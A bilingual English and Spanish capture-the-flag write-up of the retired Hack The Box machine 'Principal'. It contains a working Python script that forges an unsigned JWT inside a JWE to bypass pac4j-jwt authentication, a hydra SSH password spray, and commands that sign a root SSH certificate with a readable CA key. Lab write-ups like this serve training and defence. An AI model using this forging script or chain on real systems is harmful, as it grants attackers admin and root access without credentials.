Principal
Executive summary — Principal exposes a Java (Jetty) app protected by pac4j-jwt 6.0.3, vulnerable to CVE-2026-29000: a bug in how JWE tokens are processed that lets an unsigned inner JWT (
alg: none) slip through and get accepted anyway, grantingROLE_ADMINwith no credentials at all. The admin panel leaks an «encryptionKey» that is actually a real, reused password, which a password spray against SSH reveals for thesvc-deployservice account. From there, the private key of an SSH certificate CA turns out to be readable by group — combined with a missingAuthorizedPrincipalsFile, that allows signing a certificate withprincipal=rootand authenticating straight as root.
| Platform | Hack The Box |
| Operating system | Linux (Ubuntu 24.04.4 LTS) |
| Difficulty | Medium |
| Status | Retired |
| Target IP | 10.129.244.220 |
Attack map
[8080] Principal Internal Platform — pac4j-jwt 6.0.3 (JWE)
│ CVE-2026-29000 — unsigned inner JWT (alg:none) inside a valid JWE
▼
[BYPASS] Forged admin authentication, no credentials
│ /api/settings leaks an "encryptionKey" that is actually a real password
▼
[SSH] Password spraying (hydra) → svc-deploy (user.txt)
│ SSH certificate CA readable by the deployers group
│ No AuthorizedPrincipalsFile → any signed principal maps to any system user
▼
[ROOT] SSH certificate signed for principal=root
1. Reconnaissance
nmap -p- --min-rate 10000 -oN nmap_all_ports.txt 10.129.244.220
PORT STATE SERVICE
22/tcp open ssh
8080/tcp open http-proxy
nmap -sCV -p 22,8080 -oN nmap_sCV.txt 10.129.244.220
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
8080/tcp open http-proxy Jetty
X-Powered-By: pac4j-jwt/6.0.3
Location: /login
http-title: Principal Internal Platform - Login
The
X-Powered-By: pac4j-jwt/6.0.3header is the key clue: it reveals the Java pac4j auth framework (JWT module), version 6.0.3, vulnerable to an authentication bypass in its JWE handling.
Resumen ejecutivo — Principal expone una app Java (Jetty) protegida con pac4j-jwt 6.0.3, vulnerable a CVE-2026-29000: un bug al procesar tokens JWE que permite colar un JWT interno sin firma (
alg: none) y que el servidor lo acepte igualmente, dando rolROLE_ADMINsin ninguna credencial. El panel de administración filtra un «encryptionKey» que en realidad es una contraseña real reutilizada, que un password spraying contra SSH revela para la cuenta de serviciosvc-deploy. Desde ahí, la clave privada de una CA de certificados SSH resulta legible por grupo — combinada con la ausencia deAuthorizedPrincipalsFile, permite firmar un certificado conprincipal=rooty autenticarse directamente como root.
| Plataforma | Hack The Box |
| Sistema operativo | Linux (Ubuntu 24.04.4 LTS) |
| Dificultad | Medium |
| Estado | Retired |
| IP objetivo | 10.129.244.220 |
Mapa del ataque
[8080] Principal Internal Platform — pac4j-jwt 6.0.3 (JWE)
│ CVE-2026-29000 — JWT interno sin firma (alg:none) dentro de un JWE válido
▼
[BYPASS] Autenticación admin falsificada, sin credenciales
│ /api/settings filtra un "encryptionKey" que en realidad es una contraseña real
▼
[SSH] Password spraying (hydra) → svc-deploy (user.txt)
│ CA de certificados SSH legible por el grupo deployers
│ Sin AuthorizedPrincipalsFile → cualquier principal firmado vale para cualquier usuario
▼
[ROOT] Certificado SSH firmado para principal=root
1. Reconocimiento
nmap -p- --min-rate 10000 -oN nmap_all_ports.txt 10.129.244.220
PORT STATE SERVICE
22/tcp open ssh
8080/tcp open http-proxy
nmap -sCV -p 22,8080 -oN nmap_sCV.txt 10.129.244.220
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
8080/tcp open http-proxy Jetty
X-Powered-By: pac4j-jwt/6.0.3
Location: /login
http-title: Principal Internal Platform - Login
El header
X-Powered-By: pac4j-jwt/6.0.3es la pista clave: revela el framework de autenticación Java pac4j (módulo JWT), versión 6.0.3, vulnerable a un bypass de autenticación en el manejo de JWE.
2. Web application enumeration
http://10.129.244.220:8080/ redirects to /login, a «Principal Internal Platform» page. Checking the source:
curl -s http://10.129.244.220:8080/login | grep -o 'src="[^"]*"'
# src="/static/js/app.js"
app.js explicitly documents the auth flow in its header comments:
/**
* Authentication flow:
* 1. User submits credentials to /api/auth/login
* 2. Server returns encrypted JWT (JWE) token
* 3. Token is stored and sent as Bearer token for subsequent requests
*
* Token handling:
* - Tokens are JWE-encrypted using RSA-OAEP-256 + A128GCM
* - Public key available at /api/auth/jwks for token verification
* - Inner JWT is signed with RS256
*
* JWT claims schema:
* sub - username
* role - one of: ROLE_ADMIN, ROLE_MANAGER, ROLE_USER
* iss - "principal-platform"
* iat - issued at (epoch)
* exp - expiration (epoch)
*/
This confirms this instance's real JWE algorithm (RSA-OAEP-256 + A128GCM), the API endpoints (
/api/auth/login,/api/auth/jwks,/api/dashboard,/api/users,/api/settings), and that the token is sent asAuthorization: Bearer <token>— no browser needed, curl/requests can talk to it directly.
curl -s http://10.129.244.220:8080/api/auth/jwks | jq .
{
"keys": [
{
"kty": "RSA", "e": "AQAB", "kid": "enc-key-1",
"n": "lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE9j2MAqmekpnyapD6A9dfS..."
}
]
}
This
n/ekey is specific to this instance — every deployment generates its own RSA pair.
3. Foothold — CVE-2026-29000 (pac4j-jwt authentication bypass)
pac4j-jwt versions before 4.5.9/5.7.9/6.3.3 (this instance runs 6.0.3, vulnerable) have a bug in
JwtAuthenticatorwhen processing JWE («JSON Web Encryption») tokens: the server decrypts the JWE with its RSA private key, obtaining the inner JWT, and tries to parse it as aSignedJWT(signed with RS256). If that inner JWT usesalg: none(unsigned — just header and payload, no third part), parsing toSignedJWTsilently fails and returnsnull. The server's signature check only runs ifsignedJWT != null— since it'snull, that step is skipped entirely. The result: the server trusts the inner JWT's claims (includingrole) with no signature ever verified, because the one real security barrier never runs.
An attacker can build an inner JWT with
alg: noneand arbitrary claims (role: ROLE_ADMIN), wrap it in a valid JWE encrypted with the server's own RSA public key (exposed at/api/auth/jwks— meant to verify signatures of server-issued JWTs, but reusable here to encrypt toward the server), and the server decrypts it with its private key, gets thealg: noneJWT, verifies nothing, and trusts the claims → full admin authentication with no credentials.
# forge_jwt.py
import base64, json, sys, requests
from jwcrypto import jwk, jwe
from datetime import datetime, timezone, timedelta
def create_jwt(sub, role):
if role not in ["ROLE_ADMIN", "ROLE_MANAGER", "ROLE_USER"]:
raise ValueError("Invalid Role")
now = datetime.now(timezone.utc)
claims = {
"sub": sub, "role": role, "iss": "principal-platform",
"iat": int(now.timestamp()), "exp": int((now + timedelta(hours=24)).timestamp()),
}
header = {"alg": "none"}
def base64_url(data: bytes) -> str:
return base64.urlsafe_b64encode(data).decode().rstrip("=")
header_b64 = base64_url(json.dumps(header, separators=(",", ":")).encode())
payload_b64 = base64_url(json.dumps(claims, separators=(",", ":")).encode())
return f"{header_b64}.{payload_b64}."
host, port = "10.129.244.220", 8080
enc_alg = sys.argv[1] if len(sys.argv) > 1 else "A256GCM"
sub = sys.argv[2] if len(sys.argv) > 2 else "attacker"
role = sys.argv[3] if len(sys.argv) > 3 else "ROLE_ADMIN"
resp = requests.get(f'http://{host}:{port}/api/auth/jwks')
jwks = resp.json()
rsa_key = jwk.JWK(**[k for k in jwks["keys"] if k["kty"] == "RSA"][0])
jwt = create_jwt(sub=sub, role=role)
token = jwe.JWE(
plaintext=jwt.encode(),
protected=json.dumps({"alg": "RSA-OAEP-256", "enc": enc_alg}),
recipient=rsa_key,
)
forged = token.serialize(compact=True)
print(forged)
The correct algorithm for this instance is A128GCM (confirmed by
app.jsand validated empirically — worked on the first try):
python3 forge_jwt.py A128GCM attacker ROLE_ADMIN > token_a128.txt
eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMTI4R0NNIn0.fB_z3g-_eDFj9PgYB9HsF0e...
4. Confirming the bypass — the admin dashboard
TOKEN=$(cat token_a128.txt)
curl -s http://10.129.244.220:8080/api/dashboard -H "Authorization: Bearer $TOKEN" -w "\nHTTP_CODE:%{http_code}\n"
{
"user": {"username": "attacker", "role": "ROLE_ADMIN"},
"stats": {"totalUsers": 8, "activeDeployments": 3, "systemHealth": "operational", ...},
"recentActivity": [
{"details": "SSH certificate issued for deploy-1735400000", "username": "svc-deploy", "action": "CERT_ISSUED", ...},
{"details": "Successful login", "username": "amorales", "action": "LOGIN_SUCCESS", ...}
],
"announcements": [
{"severity": "warning", "title": "New SSH CA Rotation", "message": "SSH CA keys have been rotated. All deploy certificates issued before Dec 1 are revoked."}
]
}
Full bypass confirmed: the server accepted a token with arbitrary claims (
sub: attacker,role: ROLE_ADMIN) with no real credentials at all. The activity log already hints at SSH certificates issued forsvc-deploy.
curl -s http://10.129.244.220:8080/api/settings -H "Authorization: Bearer $TOKEN" | jq .
"security": {
"authFramework": "pac4j-jwt", "authFrameworkVersion": "6.0.3",
"jwtAlgorithm": "RS256", "jweAlgorithm": "RSA-OAEP-256", "jweEncryption": "A128GCM",
"encryptionKey": "D3pl0y_$$H_Now42!", "tokenExpiry": "3600s",
"sessionManagement": "stateless"
}
"infrastructure": {
"sshCaPath": "/opt/principal/ssh/", "sshCertAuth": "enabled",
"database": "H2 (embedded)",
"notes": "SSH certificate auth configured for automation - see /opt/principal/ssh/ for CA config."
}
The
encryptionKeyfield is actually a plaintext, reused password (D3pl0y_$$H_Now42!), mislabeled — a typical secret-hygiene mistake in this kind of box. Thesvc-deployaccount is described as «Service account for automated deployments via SSH certificate auth.» — confirming the SSH certificate hint.
5. user.txt — password spraying against SSH
With the real usernames from /api/users and the reused password:
printf "admin\nsvc-deploy\njthompson\namorales\nbwright\nkkumar\nmwilson\nlzhang\n" > userlist.txt
hydra -L userlist.txt -p 'D3pl0y_$$H_Now42!' ssh://10.129.244.220 -t 4 -o hydra_result.txt
[22][ssh] host: 10.129.244.220 login: svc-deploy password: D3pl0y_$$H_Now42!
1 of 1 target successfully completed, 1 valid password found
sshpass -p 'D3pl0y_$$H_Now42!' ssh svc-deploy@10.129.244.220 "id; cat ~/user.txt"
uid=1001(svc-deploy) gid=1002(svc-deploy) groups=1002(svc-deploy),1001(deployers)
3190b24d33f5ae854ba02b0a9eaf7199
6. Privilege escalation — group-readable SSH CA (root.txt)
sudo -l
# sudo: a terminal is required to read the password; sudo: a password is required
svc-deployhas no passwordless sudo — ruled out quickly.
ls -la /opt/principal/
drwxr-xr-x 5 app app 4096 Mar 11 04:22 app
drwxr-x--- 2 root root 4096 Mar 11 04:22 deploy
drwxr-x--- 2 root deployers 4096 Mar 11 04:22 ssh
svc-deploybelongs to thedeployersgroup, and/opt/principal/ssh/is owned by that group with 750 permissions — readable by it.
ls -la /opt/principal/ssh/
cat /opt/principal/ssh/README.txt
-rw-r----- 1 root deployers 288 Mar 5 21:05 README.txt
-rw-r----- 1 root deployers 3381 Mar 5 21:05 ca
-rw-r--r-- 1 root root 742 Mar 5 21:05 ca.pub
CA keypair for SSH certificate automation.
This CA is trusted by sshd for certificate-based authentication.
Use deploy.sh to issue short-lived certificates for service accounts.
The CA's private key (
ca, 3381 bytes) is readable bysvc-deploythanks to itsdeployersgroup membership — this is the key sshd uses to validate user certificates.
cat /etc/ssh/sshd_config.d/*.conf
# Principal machine SSH configuration
PubkeyAuthentication yes
PasswordAuthentication yes
PermitRootLogin prohibit-password
TrustedUserCAKeys /opt/principal/ssh/ca.pub
Key points:
TrustedUserCAKeysmakes sshd trust any user certificate signed by this CA; there's noAuthorizedPrincipalsFileorAuthorizedPrincipalsCommandconfigured, so the certificate's «principal» maps directly to the system username (OpenSSH's default behavior with no principal mapping); andPermitRootLogin prohibit-passwordallows root login via public key/certificate. This combination is the escalation vulnerability: anyone who can read the CA's private key can sign a certificate withprincipal=rootand authenticate as root.
ssh-keygen -t ed25519 -f root-ssh -N ''
sshpass -p 'D3pl0y_$$H_Now42!' scp root-ssh.pub svc-deploy@10.129.244.220:/tmp/root-ssh.pub
Signing the certificate on the remote box itself (svc-deploy has read access to the private CA and ssh-keygen available locally):
ssh-keygen -s /opt/principal/ssh/ca -I pwn -n root -V +52w /tmp/root-ssh.pub
Signed user key /tmp/root-ssh-cert.pub: id "pwn" serial 0 for root valid from 2026-07-29T17:52:00 to 2027-07-28T17:53:41
scp svc-deploy@10.129.244.220:/tmp/root-ssh-cert.pub root-ssh-cert.pub
ssh -i root-ssh -o CertificateFile=root-ssh-cert.pub root@10.129.244.220 "id; cat /root/root.txt"
uid=0(root) gid=0(root) groups=0(root)
99420f1241b46469ac89f2d2eeb905fb
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Foothold | pac4j-jwt 6.0.3 | CVE-2026-29000 — unsigned inner JWT accepted inside a JWE | Authentication as ROLE_ADMIN with no credentials |
| Lateral movement | /api/settings panel | «encryptionKey» is actually a real, reused password | Valid password for multiple system users |
| Access | SSH | Password spraying with the leaked password | Access as svc-deploy (user.txt) |
| PrivEsc | SSH certificate CA (TrustedUserCAKeys) | Group-readable private key + no AuthorizedPrincipalsFile | Certificate signed for principal=root (root.txt) |
Lessons learned
- JWE is not the same as verified integrity: encrypting a token (confidentiality) doesn't replace signature verification (integrity/authenticity). The pac4j-jwt bug illustrates a recurring vulnerability pattern in JOSE libraries: when unwrapping a nested format (JWE → inner JWT) has an error path treated as «skip verification» instead of «reject», it opens a full bypass.
- Public keys in a JWKS can be misused if the decryption logic doesn't also validate who produced the inner payload: here the public key —meant to verify signatures of server-issued JWTs— ended up usable by the attacker to encrypt payloads toward the server, because JWE with RSA-OAEP uses the recipient's public key, not the issuer's.
- Secret reuse: a «Settings» panel that exposes what looks like a technical config key can actually be a reused service password — always worth trying any secret found against authentication services, without assuming it's just an innocuous internal detail.
- SSH certificate CAs with no
AuthorizedPrincipalsFile/AuthorizedPrincipalsCommandare extremely dangerous if the private key is readable by any low-privilege account: OpenSSH allows mapping certificates with an arbitrary principal to arbitrary system accounts if not explicitly restricted — «reading a CA's private key» equals «impersonating any user, including root». - Reusable pattern: «web app with JWT/JWE auth → known bypass CVE in the library → admin dashboard → secrets exposed in settings → SSH password spray → abuse of misconfigured certificate infrastructure → root» is a highly recognizable Medium-difficulty HTB pattern — for any
X-Powered-Byheader with a library name and version, look up known CVEs for that specific library before brute force or generic enumeration.
2. Enumeración de la aplicación web
http://10.129.244.220:8080/ redirige a /login, una página «Principal Internal Platform». Revisando el código fuente:
curl -s http://10.129.244.220:8080/login | grep -o 'src="[^"]*"'
# src="/static/js/app.js"
app.js documenta explícitamente el flujo de autenticación en sus comentarios de cabecera:
/**
* Authentication flow:
* 1. User submits credentials to /api/auth/login
* 2. Server returns encrypted JWT (JWE) token
* 3. Token is stored and sent as Bearer token for subsequent requests
*
* Token handling:
* - Tokens are JWE-encrypted using RSA-OAEP-256 + A128GCM
* - Public key available at /api/auth/jwks for token verification
* - Inner JWT is signed with RS256
*
* JWT claims schema:
* sub - username
* role - one of: ROLE_ADMIN, ROLE_MANAGER, ROLE_USER
* iss - "principal-platform"
* iat - issued at (epoch)
* exp - expiration (epoch)
*/
Esto confirma el algoritmo JWE real de esta instancia (RSA-OAEP-256 + A128GCM), los endpoints de la API (
/api/auth/login,/api/auth/jwks,/api/dashboard,/api/users,/api/settings), y que el token se envía comoAuthorization: Bearer <token>— no requiere navegador, se puede interactuar directamente con curl/requests.
curl -s http://10.129.244.220:8080/api/auth/jwks | jq .
{
"keys": [
{
"kty": "RSA", "e": "AQAB", "kid": "enc-key-1",
"n": "lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE9j2MAqmekpnyapD6A9dfS..."
}
]
}
Esta clave
n/ees específica de esta instancia — cada despliegue genera su propio par RSA.
3. Foothold — CVE-2026-29000 (bypass de autenticación en pac4j-jwt)
pac4j-jwt en versiones anteriores a 4.5.9/5.7.9/6.3.3 (esta instancia usa la 6.0.3, vulnerable) tiene un bug en
JwtAuthenticatoral procesar tokens JWE («JSON Web Encryption»): el servidor desencripta el JWE con su clave privada RSA, obteniendo el JWT interno, e intenta parsearlo como unSignedJWT(firmado con RS256). Si ese JWT interno usaalg: none(sin firma — solo header y payload, sin tercera parte), el parseo aSignedJWTfalla silenciosamente y retornanull. La verificación de firma del servidor solo se ejecuta sisignedJWT != null— como esnull, ese paso se salta por completo. El resultado: el servidor confía en los claims del JWT interno (incluyendorole) sin haber verificado ninguna firma, porque la única barrera real nunca corre.
Un atacante puede construir un JWT interno con
alg: noney claims arbitrarios (role: ROLE_ADMIN), envolverlo en un JWE válido cifrado con la clave pública RSA del propio servidor (expuesta en/api/auth/jwks— pensada para verificar firmas de JWTs emitidos por el servidor, pero reutilizable aquí para cifrar hacia el servidor), y el servidor lo desencripta con su clave privada, obtiene el JWTalg: none, no verifica nada, y confía en los claims → autenticación admin completa sin credenciales.
# forge_jwt.py
import base64, json, sys, requests
from jwcrypto import jwk, jwe
from datetime import datetime, timezone, timedelta
def create_jwt(sub, role):
if role not in ["ROLE_ADMIN", "ROLE_MANAGER", "ROLE_USER"]:
raise ValueError("Invalid Role")
now = datetime.now(timezone.utc)
claims = {
"sub": sub, "role": role, "iss": "principal-platform",
"iat": int(now.timestamp()), "exp": int((now + timedelta(hours=24)).timestamp()),
}
header = {"alg": "none"}
def base64_url(data: bytes) -> str:
return base64.urlsafe_b64encode(data).decode().rstrip("=")
header_b64 = base64_url(json.dumps(header, separators=(",", ":")).encode())
payload_b64 = base64_url(json.dumps(claims, separators=(",", ":")).encode())
return f"{header_b64}.{payload_b64}."
host, port = "10.129.244.220", 8080
enc_alg = sys.argv[1] if len(sys.argv) > 1 else "A256GCM"
sub = sys.argv[2] if len(sys.argv) > 2 else "attacker"
role = sys.argv[3] if len(sys.argv) > 3 else "ROLE_ADMIN"
resp = requests.get(f'http://{host}:{port}/api/auth/jwks')
jwks = resp.json()
rsa_key = jwk.JWK(**[k for k in jwks["keys"] if k["kty"] == "RSA"][0])
jwt = create_jwt(sub=sub, role=role)
token = jwe.JWE(
plaintext=jwt.encode(),
protected=json.dumps({"alg": "RSA-OAEP-256", "enc": enc_alg}),
recipient=rsa_key,
)
forged = token.serialize(compact=True)
print(forged)
El algoritmo correcto para esta instancia es A128GCM (confirmado por
app.jsy validado empíricamente — funcionó al primer intento):
python3 forge_jwt.py A128GCM attacker ROLE_ADMIN > token_a128.txt
eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMTI4R0NNIn0.fB_z3g-_eDFj9PgYB9HsF0e...
4. Verificación del bypass — dashboard admin
TOKEN=$(cat token_a128.txt)
curl -s http://10.129.244.220:8080/api/dashboard -H "Authorization: Bearer $TOKEN" -w "\nHTTP_CODE:%{http_code}\n"
{
"user": {"username": "attacker", "role": "ROLE_ADMIN"},
"stats": {"totalUsers": 8, "activeDeployments": 3, "systemHealth": "operational", ...},
"recentActivity": [
{"details": "SSH certificate issued for deploy-1735400000", "username": "svc-deploy", "action": "CERT_ISSUED", ...},
{"details": "Successful login", "username": "amorales", "action": "LOGIN_SUCCESS", ...}
],
"announcements": [
{"severity": "warning", "title": "New SSH CA Rotation", "message": "SSH CA keys have been rotated. All deploy certificates issued before Dec 1 are revoked."}
]
}
Bypass total confirmado: el servidor aceptó como válido un token con claims arbitrarios (
sub: attacker,role: ROLE_ADMIN) sin ninguna credencial real. El log de actividad ya insinúa la pista de certificados SSH usados parasvc-deploy.
curl -s http://10.129.244.220:8080/api/settings -H "Authorization: Bearer $TOKEN" | jq .
"security": {
"authFramework": "pac4j-jwt", "authFrameworkVersion": "6.0.3",
"jwtAlgorithm": "RS256", "jweAlgorithm": "RSA-OAEP-256", "jweEncryption": "A128GCM",
"encryptionKey": "D3pl0y_$$H_Now42!", "tokenExpiry": "3600s",
"sessionManagement": "stateless"
}
"infrastructure": {
"sshCaPath": "/opt/principal/ssh/", "sshCertAuth": "enabled",
"database": "H2 (embedded)",
"notes": "SSH certificate auth configured for automation - see /opt/principal/ssh/ for CA config."
}
El campo
encryptionKeyes en realidad una contraseña reutilizada en texto claro (D3pl0y_$$H_Now42!), mal etiquetada — un error de higiene de secretos típico en este tipo de máquinas. La cuentasvc-deployestá descrita como «Service account for automated deployments via SSH certificate auth.» — confirma la pista de certificados SSH.
5. user.txt — password spraying contra SSH
Con la lista de usuarios reales obtenida de /api/users y la contraseña reutilizada:
printf "admin\nsvc-deploy\njthompson\namorales\nbwright\nkkumar\nmwilson\nlzhang\n" > userlist.txt
hydra -L userlist.txt -p 'D3pl0y_$$H_Now42!' ssh://10.129.244.220 -t 4 -o hydra_result.txt
[22][ssh] host: 10.129.244.220 login: svc-deploy password: D3pl0y_$$H_Now42!
1 of 1 target successfully completed, 1 valid password found
sshpass -p 'D3pl0y_$$H_Now42!' ssh svc-deploy@10.129.244.220 "id; cat ~/user.txt"
uid=1001(svc-deploy) gid=1002(svc-deploy) groups=1002(svc-deploy),1001(deployers)
3190b24d33f5ae854ba02b0a9eaf7199
6. Escalada — CA de certificados SSH legible por grupo (root.txt)
sudo -l
# sudo: a terminal is required to read the password; sudo: a password is required
svc-deployno tiene sudo sin contraseña — vía descartada rápidamente.
ls -la /opt/principal/
drwxr-xr-x 5 app app 4096 Mar 11 04:22 app
drwxr-x--- 2 root root 4096 Mar 11 04:22 deploy
drwxr-x--- 2 root deployers 4096 Mar 11 04:22 ssh
svc-deploypertenece al grupodeployers, y/opt/principal/ssh/es de ese grupo con permisos 750 — legible por él.
ls -la /opt/principal/ssh/
cat /opt/principal/ssh/README.txt
-rw-r----- 1 root deployers 288 Mar 5 21:05 README.txt
-rw-r----- 1 root deployers 3381 Mar 5 21:05 ca
-rw-r--r-- 1 root root 742 Mar 5 21:05 ca.pub
CA keypair for SSH certificate automation.
This CA is trusted by sshd for certificate-based authentication.
Use deploy.sh to issue short-lived certificates for service accounts.
La clave privada de la CA (
ca, 3381 bytes) es legible porsvc-deploygracias a su pertenencia al grupodeployers— es la clave que sshd usa para validar certificados de usuario.
cat /etc/ssh/sshd_config.d/*.conf
# Principal machine SSH configuration
PubkeyAuthentication yes
PasswordAuthentication yes
PermitRootLogin prohibit-password
TrustedUserCAKeys /opt/principal/ssh/ca.pub
Puntos clave:
TrustedUserCAKeyshace que sshd confíe en cualquier certificado de usuario firmado por esta CA; no hayAuthorizedPrincipalsFileniAuthorizedPrincipalsCommandconfigurado, así que el «principal» incluido en el certificado se mapea directamente al nombre de usuario del sistema (comportamiento por defecto de OpenSSH sin mapeo de principals); yPermitRootLogin prohibit-passwordpermite login de root por clave pública/certificado. Esta combinación es la vulnerabilidad de escalada: cualquiera que pueda leer la clave privada de la CA puede firmar un certificado conprincipal=rooty autenticarse como root.
ssh-keygen -t ed25519 -f root-ssh -N ''
sshpass -p 'D3pl0y_$$H_Now42!' scp root-ssh.pub svc-deploy@10.129.244.220:/tmp/root-ssh.pub
Firmado del certificado en la propia máquina remota (svc-deploy tiene acceso de lectura a la CA privada y ssh-keygen disponible localmente):
ssh-keygen -s /opt/principal/ssh/ca -I pwn -n root -V +52w /tmp/root-ssh.pub
Signed user key /tmp/root-ssh-cert.pub: id "pwn" serial 0 for root valid from 2026-07-29T17:52:00 to 2027-07-28T17:53:41
scp svc-deploy@10.129.244.220:/tmp/root-ssh-cert.pub root-ssh-cert.pub
ssh -i root-ssh -o CertificateFile=root-ssh-cert.pub root@10.129.244.220 "id; cat /root/root.txt"
uid=0(root) gid=0(root) groups=0(root)
99420f1241b46469ac89f2d2eeb905fb
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Foothold | pac4j-jwt 6.0.3 | CVE-2026-29000 — JWT interno sin firma aceptado dentro de un JWE | Autenticación como ROLE_ADMIN sin credenciales |
| Movimiento lateral | Panel /api/settings | «encryptionKey» en realidad una contraseña real reutilizada | Contraseña válida para varios usuarios del sistema |
| Acceso | SSH | Password spraying con la contraseña filtrada | Acceso como svc-deploy (user.txt) |
| PrivEsc | CA de certificados SSH (TrustedUserCAKeys) | Clave privada legible por grupo + sin AuthorizedPrincipalsFile | Certificado firmado para principal=root (root.txt) |
Lecciones aprendidas
- JWE no es lo mismo que integridad verificada: cifrar un token (confidencialidad) no sustituye la verificación de firma (integridad/autenticidad). El bug de pac4j-jwt ilustra un patrón recurrente en librerías JOSE: cuando el «des-envolver» de un formato anidado (JWE → JWT interno) tiene una rama de error tratada como «no aplica verificación» en vez de «rechazar», se abre una puerta de bypass total.
- Las claves públicas en JWKS pueden mal-usarse si la lógica de desencriptado no valida también quién generó el payload interno: aquí la clave pública —pensada para verificar firmas de JWTs emitidos por el servidor— terminó siendo utilizable por el atacante para cifrar payloads hacia el servidor, porque JWE con RSA-OAEP usa la clave pública del receptor, no del emisor.
- Reutilización de secretos: un panel de «Settings» que expone lo que parece una clave técnica de configuración puede ser en realidad una contraseña de servicio reutilizada — vale la pena probar cualquier secreto encontrado contra servicios de autenticación, sin asumir que es solo un detalle interno inocuo.
- CAs de certificados SSH sin
AuthorizedPrincipalsFile/AuthorizedPrincipalsCommandson extremadamente peligrosas si la clave privada es legible por cualquier cuenta de bajo privilegio: OpenSSH permite mapear certificados con principal arbitrario a cuentas de sistema arbitrarias si no se restringe explícitamente — «leer la clave privada de una CA» equivale a «impersonar a cualquier usuario, incluido root». - Patrón reutilizable: «web app con auth JWT/JWE → CVE de bypass conocido en la librería → dashboard admin → secretos expuestos en settings → password spray SSH → abuso de infraestructura de certificados mal configurada → root» es un patrón de máquina Medium muy reconocible — ante cualquier
X-Powered-Bycon nombre de librería y versión, buscar CVEs conocidos antes de fuerza bruta o enumeración genérica.